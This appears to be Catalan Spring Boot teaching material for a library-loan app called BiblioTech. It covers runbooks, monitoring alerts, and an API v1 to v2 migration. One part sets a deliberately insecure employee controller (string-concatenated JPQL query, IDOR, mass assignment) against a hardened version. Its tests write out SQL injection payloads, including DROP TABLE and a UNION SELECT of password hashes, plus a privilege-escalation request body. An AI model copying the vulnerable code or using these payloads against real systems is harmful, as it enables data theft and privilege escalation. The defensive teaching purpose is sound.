                .tag("client", esdeveniment.identificadorClient())    // baixa cardinalitat
                .register(registre)
                .increment();
    }
}

./mvnw versions:display-dependency-updates       # quines dependències tenen versió nova
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updates

./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
  -Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3

# Runbook: TaxaErrorsAlta

## Què significa
Més de l'1 % de les peticions retornen 5xx durant 5 minuts.

## Impacte
Usuaris rebent errors. Prioritat alta.

## Diagnòstic
1. Hi ha hagut cap desplegament en la darrera hora?
   `kubectl rollout history deployment/bibliotech -n produccio`
   → Si sí, **la primera hipòtesi és aquesta**: `kubectl rollout undo`
2. Quin endpoint falla?
   Grafana → BiblioTech Salut → «Errors per endpoint»
3. Quina excepció?
   `{aplicacio="bibliotech"} | json | level="ERROR"` a Loki, darrers 15 min
4. La base de dades respon?
   `curl -s $BASE/actuator/health | jq .components.db`
5. El pool està saturat?
   Grafana → Recursos → «Connexions pendents»

## Causes freqüents
| Símptoma | Causa | Solució |
|---|---|---|
| Errors després d'un desplegament | Regressió | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | BD caiguda o pool esgotat | Comprovar la BD; buscar consultes lentes |
| `SocketTimeoutException` a metadades | API externa caiguda | Activar el mode degradat |
| OOMKilled als pods | Memòria insuficient | Apujar el límit; buscar fuites (10-07) |

## Escalat
Sense resoldre en 30 min → avisar el responsable de guàrdia.

// El domini incorpora la seu com a concepte de primera classe
public record Seu(Long id, String nom, String ciutat, ZoneId zonaHoraria) { }

public class Exemplar {                    // NOU: separar Material de les seves copies fisiques
    private Material material;             // el "que" (compartit)
    private Seu seu;                       // el "on"
    private String codiIntern;
    private EstatExemplar estat;
}

@Component
class NotificadorCorreuAmbReintents implements NotificadorAvisos {

    @Async
    @Retryable(retryFor = MailException.class, maxAttempts = 3,
               backoff = @Backoff(delay = 2000, multiplier = 3))
    public void notificar(Avis avis) { … }

    @Recover
    void alExhaurirReintents(MailException e, Avis avis) {
        // A una cua de fallits, per a reintent manual. MAI perdre un avis en silenci.
        repositoriAvisosFallits.desar(AvisFallit.de(avis, e));
    }
}

@Component
class PublicadorEsdevenimentsExterns {

    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void publicar(MaterialRetornat esdeveniment) {
        // Patro "outbox": desar aquest esdeveniment a la MATEIXA transaccio que el
        // canvi, i publicar-lo despres en un proces a part.
        // Sense aixo, una fallada posterior al commit fa perdre el missatge.
        repositoriSortida.desar(EsdevenimentSortida.de(esdeveniment));
    }
}

@RestController
@RequestMapping("/api/empleats")
public class EmpleatController {

    @GetMapping("/{id}")
    public Empleat perId(@PathVariable Long id) {
        return repositori.findById(id).orElseThrow();
    }

    @GetMapping("/{id}/prestecs")
    public List<Prestec> prestecs(@PathVariable Long id) {
        return prestecRepositori.findByEmpleatId(id);
    }

    @PutMapping("/{id}")
    public Empleat actualitzar(@PathVariable Long id, @RequestBody Empleat empleat) {
        empleat.setId(id);
        return repositori.save(empleat);
    }

    @GetMapping("/cercar")
    public List<Empleat> cercar(@RequestParam String nom) {
        return em.createQuery("select e from Empleat e where e.nom like '%" + nom + "%'",
                              Empleat.class).getResultList();
    }
}

GET /api/v1/prestecs/42
{
  "id": 42,
  "isbn": "978-0000000001",
  "empleat": "Marta Ruiz",
  "venciment": "2026-08-20",
  "retornat": false,
  "multa": 0
}

@RestController
@RequestMapping("/api/v1/empleats")
@Validated
@Tag(name = "Empleats")
public class EmpleatController {

    private final ServeiEmpleats servei;
    private final GestionarPrestecs prestecs;

    // ---------------------------------------------------------------
    // Consultar un empleat: o ets tu, o ets ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleatResponse perId(@PathVariable Long id) {
        return servei.cercarPerId(id)
                .map(EmpleatResponse::desDe)           // DTO: sense hash de contrasenya, sense rol intern
                .orElseThrow(() -> new EmpleatNoTrobatException(id));        // → 404
    }

    // ---------------------------------------------------------------
    // Prestecs: els propis, o BIBLIOTECARI/ADMIN
    // ---------------------------------------------------------------
    @GetMapping("/{id}/prestecs")
    @PreAuthorize("#id == authentication.principal.id or hasAnyRole('BIBLIOTECARI','ADMIN')")
    public PageResponse<PrestecResponse> prestecsDe(
            @PathVariable Long id,
            @RequestParam(required = false) EstatPrestec estat,
            @PageableDefault(size = 20, sort = "dataPrestec",
                             direction = Sort.Direction.DESC) Pageable paginacio) {

        if (!servei.existeix(id)) throw new EmpleatNoTrobatException(id);

        return PageResponse.desDe(
                prestecs.deEmpleat(id, estat, paginacio).map(PrestecResponse::desDe));
    }

    // ---------------------------------------------------------------
    // Actualitzacio: DTO tancat, mai una entitat
    // ---------------------------------------------------------------
    @PutMapping("/{id}")
    @PreAuthorize("#id == authentication.principal.id or hasRole('ADMIN')")
    public EmpleatResponse actualitzar(@PathVariable Long id,
                                       @Valid @RequestBody ActualitzarEmpleatRequest peticio) {
        // El DTO NOMES te els camps modificables.
        // Es IMPOSSIBLE enviar rol, hashContrasenya, version o id.
        return EmpleatResponse.desDe(servei.actualitzar(id, peticio));
    }

    // ---------------------------------------------------------------
    // Canvi de rol: endpoint SEPARAT, nomes ADMIN, auditat
    // ---------------------------------------------------------------
    @PutMapping("/{id}/rol")
    @PreAuthorize("hasRole('ADMIN')")
    @Auditat(accio = "CANVIAR_ROL")
    public EmpleatResponse canviarRol(@PathVariable Long id,
                                      @Valid @RequestBody CanviarRolRequest peticio) {
        return EmpleatResponse.desDe(servei.canviarRol(id, peticio.rol()));
    }

    // ---------------------------------------------------------------
    // Cerca: parametritzada, paginada, amb llargada limitada
    // ---------------------------------------------------------------
    @GetMapping("/cercar")
    @PreAuthorize("hasAnyRole('BIBLIOTECARI','ADMIN')")
    public PageResponse<EmpleatResumResponse> cercar(
            @RequestParam @Size(min = 2, max = 100) String nom,
            @PageableDefault(size = 20) Pageable paginacio) {

        return PageResponse.desDe(
                servei.cercarPerNom(nom, paginacio)        // consulta PARAMETRITZADA
                      .map(EmpleatResumResponse::desDe));  // resum: encara menys dades
    }
}

/** Sortida: nomes el que aquest endpoint ha de revelar. */
public record EmpleatResponse(Long id, String nom, String correu,
                              String departament, LocalDate dataAlta) {
    // SENSE hashContrasenya, SENSE rol, SENSE version, SENSE dades internes
    public static EmpleatResponse desDe(Empleat e) {
        return new EmpleatResponse(e.getId(), e.getNom(), e.getCorreu(),
                                   e.getDepartament(), e.getDataAlta());
    }
}

/** Resum per a llistats: encara menys informacio. */
public record EmpleatResumResponse(Long id, String nom, String departament) { }

/** Entrada: NOMES els camps que un usuari pot canviar de si mateix. */
public record ActualitzarEmpleatRequest(
        @NotBlank @Size(max = 150) String nom,
        @NotBlank @Email @Size(max = 200) String correu,
        @Size(max = 100) String departament) {
    // Ni id, ni rol, ni contrasenya, ni version. Estructuralment impossible.
}

public record CanviarRolRequest(@NotNull Rol rol) { }

public interface EmpleatRepository extends JpaRepository<Empleat, Long> {

    /** Parametritzada: el valor MAI no es tracta com a SQL. */
    @Query("""
           select e from Empleat e
           where lower(e.nom) like lower(concat('%', :nom, '%'))
           """)
    Page<Empleat> cercarPerNom(@Param("nom") String nom, Pageable paginacio);
}

@WebMvcTest(EmpleatController.class)
@Import(ConfiguracioSeguretat.class)
class EmpleatControllerSeguretatTest {

    @Autowired MockMvc mvc;
    @MockitoBean ServeiEmpleats servei;

    @Test
    void senseAutenticacioRetorna401() throws Exception {
        mvc.perform(get("/api/v1/empleats/1"))
                .andExpect(status().isUnauthorized());
    }

    @Test
    @WithMockUser(username = "2", roles = "EMPLEAT")
    void unEmpleatNoPotVeureLesDadesDeUnAltre() throws Exception {
        mvc.perform(get("/api/v1/empleats/1"))    // qui te la sessio es el 2 i demana les del 1
                .andExpect(status().isForbidden());   // ← IDOR tancat
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEAT")
    void unEmpleatSiPotVeureLesSevesDades() throws Exception {
        when(servei.cercarPerId(1L)).thenReturn(Optional.of(unEmpleat(1L, "Marta Ruiz")));

        mvc.perform(get("/api/v1/empleats/1"))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.nom").value("Marta Ruiz"))
                // Comprovar EXPLICITAMENT que no es filtra res
                .andExpect(jsonPath("$.hashContrasenya").doesNotExist())
                .andExpect(jsonPath("$.rol").doesNotExist())
                .andExpect(jsonPath("$.version").doesNotExist());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEAT")
    void noEsPodenEscalarPrivilegisEnLaActualitzacio() throws Exception {
        // Assignacio massiva: enviar camps que el DTO no te
        mvc.perform(put("/api/v1/empleats/1")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("""
                                {"nom":"Marta Ruiz","correu":"[email protected]",
                                 "rol":"ADMIN","hashContrasenya":"elquesigui","id":999}"""))
                .andExpect(status().isOk());

        // Els camps maliciosos queden IGNORATS: el DTO no els te
        ArgumentCaptor<ActualitzarEmpleatRequest> captor =
                ArgumentCaptor.forClass(ActualitzarEmpleatRequest.class);
        verify(servei).actualitzar(eq(1L), captor.capture());
        assertThat(captor.getValue().nom()).isEqualTo("Marta Ruiz");
        // No hi ha manera que 'rol' hagi arribat al servei
    }

    @ParameterizedTest
    @ValueSource(strings = {
        "'; DROP TABLE empleats; --",
        "' OR '1'='1",
        "%' UNION SELECT hash_contrasenya FROM empleats --"
    })
    @WithMockUser(roles = "BIBLIOTECARI")
    void laCercaEsImmuneAInjeccioSql(String carregaMaliciosa) throws Exception {
        when(servei.cercarPerNom(anyString(), any())).thenReturn(Page.empty());

        mvc.perform(get("/api/v1/empleats/cercar").param("nom", carregaMaliciosa))
                .andExpect(status().isOk())
                .andExpect(jsonPath("$.contingut").isEmpty());

        // La carrega arriba com a VALOR literal al repositori, no com a SQL
        verify(servei).cercarPerNom(eq(carregaMaliciosa), any());
    }

    @Test
    @WithMockUser(username = "1", roles = "EMPLEAT")
    void unEmpleatNoPotCanviarRols() throws Exception {
        mvc.perform(put("/api/v1/empleats/1/rol")
                        .contentType(MediaType.APPLICATION_JSON)
                        .content("{\"rol\":\"ADMIN\"}"))
                .andExpect(status().isForbidden());
    }
}

@Service
public class RenovacioAutomatica {

    private static final Logger log = LoggerFactory.getLogger(RenovacioAutomatica.class);

    private final MeterRegistry registre;
    private final AtomicLong ultimaExecucio = new AtomicLong(0);

    @PostConstruct
    void registrarGauges() {
        Gauge.builder("bibliotech.renovacio_auto.ultima_execucio", ultimaExecucio, AtomicLong::get)
                .description("Marca de temps Unix de la darrera execucio correcta")
                .register(registre);
    }

    @Scheduled(cron = "0 0 3 * * *")
    @SchedulerLock(name = "renovacioAutomatica", lockAtMostFor = "30m")   // 12-06
    public void executar() {
        Timer.Sample mostra = Timer.start(registre);
        MDC.put("proces", "renovacio-automatica");
        MDC.put("traceId", UUID.randomUUID().toString());

        int renovats = 0;
        Map<String, Integer> omesos = new HashMap<>();

        try {
            List<Prestec> candidats = repositori.vencenEn(1);
            registre.gauge("bibliotech.renovacio_auto.candidats", candidats.size());

            log.info("Renovacio automatica iniciada: {} candidats", candidats.size());

            for (Prestec p : candidats) {
                Optional<String> motiu = motiuPerNoRenovar(p);
                if (motiu.isPresent()) {
                    omesos.merge(motiu.get(), 1, Integer::sum);
                    registre.counter("bibliotech.renovacio_auto.omesos",
                                     "motiu", motiu.get()).increment();
                    // DEBUG: es el cas normal i no ha de saturar el log
                    log.debug("Prestec {} omes: {}", p.getId(), motiu.get());
                    continue;
                }
                gestor.renovar(p.getId(), null);
                renovats++;
                registre.counter("bibliotech.renovacio_auto.renovats",
                                 "tipus_material", p.tipusMaterial().name()).increment();
            }

            ultimaExecucio.set(Instant.now().getEpochSecond());
            registre.counter("bibliotech.renovacio_auto.execucions", "resultat", "exit")
                    .increment();

            // INFO: una linia amb el RESUM. Es el que un operador voldria veure (11-07).
            log.info("Renovacio automatica completada: {} candidats, {} renovats, omesos={}",
                     candidats.size(), renovats, omesos);

        } catch (Exception e) {
            registre.counter("bibliotech.renovacio_auto.execucions", "resultat", "fallada")
                    .increment();
            log.error("Renovacio automatica fallida despres de renovar-ne {}", renovats, e);
            throw e;
        } finally {
            mostra.stop(registre.timer("bibliotech.renovacio_auto.duracio"));
            MDC.clear();       // regla de 11-07
        }
    }
}

# ALERTA 1: el procés ha deixat d'executar-se.
# La MÉS IMPORTANT, perquè és una fallada SILENCIOSA: res no dona error,
# simplement els préstecs deixen de renovar-se i ningú no se n'assabenta
# fins que comencen a arribar multes indegudes.
- alert: RenovacioAutomaticaNoExecutada
  expr: (time() - bibliotech_renovacio_auto_ultima_execucio) > 93600      # 26 hores
  for: 10m
  labels: { severitat: alta }
  annotations:
    summary: "La renovació automàtica no s'executa des de fa {{ $value | humanizeDuration }}"
    accio: |
      1. Existeix el CronJob/planificador? kubectl get cronjob bibliotech-renovacio
      2. Hi ha un bloqueig de ShedLock encallat? select * from shedlock where name='renovacioAutomatica'
      3. Executar manualment: bibliotech prestec renovar-automatic --simular
    runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#renovacio-auto"

# ALERTA 2: s'executa però falla
- alert: RenovacioAutomaticaFallant
  expr: increase(bibliotech_renovacio_auto_execucions_total{resultat="fallada"}[25h]) > 0
  for: 5m
  labels: { severitat: alta }
  annotations:
    summary: "La renovació automàtica ha fallat"
    accio: "Buscar als logs: proces=renovacio-automatica level=ERROR"

# ALERTA 3: canvi brusc de comportament.
# Detecta que una regla s'ha trencat: per exemple, un error que fa que
# TOT s'ometi per 'amb_reserves' quan abans no passava.
- alert: RenovacioAutomaticaComportamentAnomal
  expr: |
    (sum(increase(bibliotech_renovacio_auto_renovats_total[25h]))
     / sum(increase(bibliotech_renovacio_auto_candidats[25h]))) < 0.2
    and sum(increase(bibliotech_renovacio_auto_candidats[25h])) > 20
  for: 30m
  labels: { severitat: mitjana }
  annotations:
    summary: "Només es renova el {{ $value | humanizePercentage }} dels candidats"
    descripcio: "Revisa la distribució de bibliotech_renovacio_auto_omesos per motiu"

// ---------------- V1: OBSOLETA ----------------
@RestController
@RequestMapping("/api/v1/prestecs")
@Tag(name = "Prestecs v1", description = "OBSOLETA — es retira el 2027-02-01")
public class PrestecControllerV1 {

    private final GestionarPrestecs gestor;       // el MATEIX cas de us que v2
    private final MeterRegistry registre;

    @GetMapping("/{id}")
    @Deprecated(since = "2.0.0", forRemoval = true)
    @Operation(deprecated = true, summary = "[OBSOLET] Fes servir GET /api/v2/prestecs/{id}")
    public ResponseEntity<PrestecResponseV1> perId(
            @PathVariable Long id,
            @RequestHeader(value = "X-Client", defaultValue = "desconegut") String client) {

        // Mesurar QUI continua fent servir v1: sense aixo, retirar-la es una aposta
        registre.counter("bibliotech.api.v1.us", "client", client, "endpoint", "prestec_per_id")
                .increment();

        Prestec prestec = gestor.cercar(id).orElseThrow(() -> new PrestecNoTrobatException(id));

        return ResponseEntity.ok()
                .header("Deprecation", "@1756684800")                    // RFC 8594: epoch
                .header("Sunset", "Mon, 01 Feb 2027 00:00:00 GMT")
                .header("Link", "</api/v2/prestecs/" + id + ">; rel=\"successor-version\", "
                              + "<https://docs.nexussoftware.com/bibliotech/migracio-v2>; rel=\"deprecation\"")
                .header("Warning", "299 - \"Aquesta versio de l'API es retirara el 2027-02-01\"")
                .body(PrestecResponseV1.desDe(prestec));
    }
}

/** DTO de v1: es CONGELA. Ja no se li afegeix ni se li treu res mai mes. */
public record PrestecResponseV1(Long id, String isbn, String empleat,
                                LocalDate venciment, boolean retornat, BigDecimal multa) {

    public static PrestecResponseV1 desDe(Prestec p) {
        return new PrestecResponseV1(
                p.getId(), p.getIsbn().valor(), p.nomEmpleat(),
                p.getDataVenciment(),
                p.getDataDevolucio().isPresent(),
                p.multaAcumulada(LocalDate.now()).quantitat());
    }
}

// ---------------- V2: ACTUAL ----------------
@RestController
@RequestMapping("/api/v2/prestecs")
@Tag(name = "Prestecs")
public class PrestecControllerV2 {

    @GetMapping("/{id}")
    public PrestecResponseV2 perId(@PathVariable Long id) {
        Prestec prestec = gestor.cercar(id).orElseThrow(() -> new PrestecNoTrobatException(id));
        return PrestecResponseV2.desDe(prestec, LocalDate.now(rellotge));
    }
}

public record PrestecResponseV2(
        Long id,
        String isbn,
        EmpleatResum empleat,              // objecte, no cadena
        LocalDate dataPrestec,
        LocalDate dataVenciment,
        LocalDate dataDevolucio,
        EstatPrestec estat,                // enumerat, no boolea
        Import multa,                      // objecte amb moneda
        boolean renovable,                 // NOU
        long diesRestants) {               // NOU

    public record EmpleatResum(Long id, String nom, String correu) { }
    public record Import(BigDecimal quantitat, String moneda) { }

    public static PrestecResponseV2 desDe(Prestec p, LocalDate avui) {
        return new PrestecResponseV2(
                p.getId(), p.getIsbn().valor(),
                new EmpleatResum(p.getIdEmpleat(), p.nomEmpleat(), p.correuEmpleat()),
                p.getDataPrestec(), p.getDataVenciment(),
                p.getDataDevolucio().orElse(null),
                p.getEstat(),
                new Import(p.multaAcumulada(avui).quantitat(), "EUR"),
                p.getEstat().permetRenovar(),
                ChronoUnit.DAYS.between(avui, p.getDataVenciment()));
    }
}

@RestController
@RequestMapping("/api/v1")
@Profile("post-retirada-v1")
public class ControladorV1Retirada {

    @RequestMapping("/**")
    public ResponseEntity<ProblemDetail> retirada(HttpServletRequest peticio) {
        ProblemDetail detall = ProblemDetail.forStatusAndDetail(
                HttpStatus.GONE,      // 410, no 404: "va existir i es va eliminar expressament"
                "La versio 1 de l'API es va retirar el 2027-02-01. Migra a /api/v2.");
        detall.setTitle("Versio de l'API retirada");
        detall.setType(URI.create("https://docs.nexussoftware.com/bibliotech/migracio-v2"));
        detall.setProperty("versioActual", "v2");
        detall.setProperty("guiaMigracio", "https://docs.nexussoftware.com/bibliotech/migracio-v2");

        return ResponseEntity.status(HttpStatus.GONE)
                .header("Link", "</api/v2>; rel=\"successor-version\"")
                .body(detall);
    }
}

# Ús de v1 per client en els darrers 7 dies
sum(increase(bibliotech_api_v1_us_total[7d])) by (client)

# Percentatge de trànsit que continua a v1
sum(rate(bibliotech_api_v1_us_total[1d]))
/ (sum(rate(bibliotech_api_v1_us_total[1d])) + sum(rate(bibliotech_api_v2_us_total[1d])))

- alert: UsDeV1DespresDeLaRetirada
  expr: sum(increase(bibliotech_api_v1_us_total[1d])) by (client) > 0
  labels: { severitat: mitjana }
  annotations:
    summary: "El client {{ $labels.client }} continua fent servir l'API v1"
    accio: "Contactar-hi abans del 2027-02-01"

# Migració de l'API de BiblioTech: v1 → v2

**La v1 es retirarà l'1 de febrer de 2027.**

## Què canvia

| Camp v1 | Camp v2 | Canvi |
|---|---|---|
| `empleat` (cadena) | `empleat.nom` | Ara és un objecte amb `id`, `nom` i `correu` |
| `venciment` | `dataVenciment` | Reanomenat |
| `retornat` (booleà) | `estat` (enumerat) | `ACTIU`, `RENOVAT`, `VENCUT`, `RETORNAT`, `PERDUT` |
| `multa` (nombre) | `multa.quantitat` + `multa.moneda` | Objecte amb moneda explícita |
| — | `renovable` | **Nou** |
| — | `diesRestants` | **Nou** |
| — | `dataPrestec`, `dataDevolucio` | **Nous** |

## Equivalències

## Cronograma
- **2026-09-01**: v2 disponible. v1 obsoleta (funciona amb normalitat).
- **2027-01-01**: avís final.
- **2027-02-01**: v1 retirada. Retornarà `410 Gone`.

## Ajuda
[email protected] — o obre una incidència al repositori.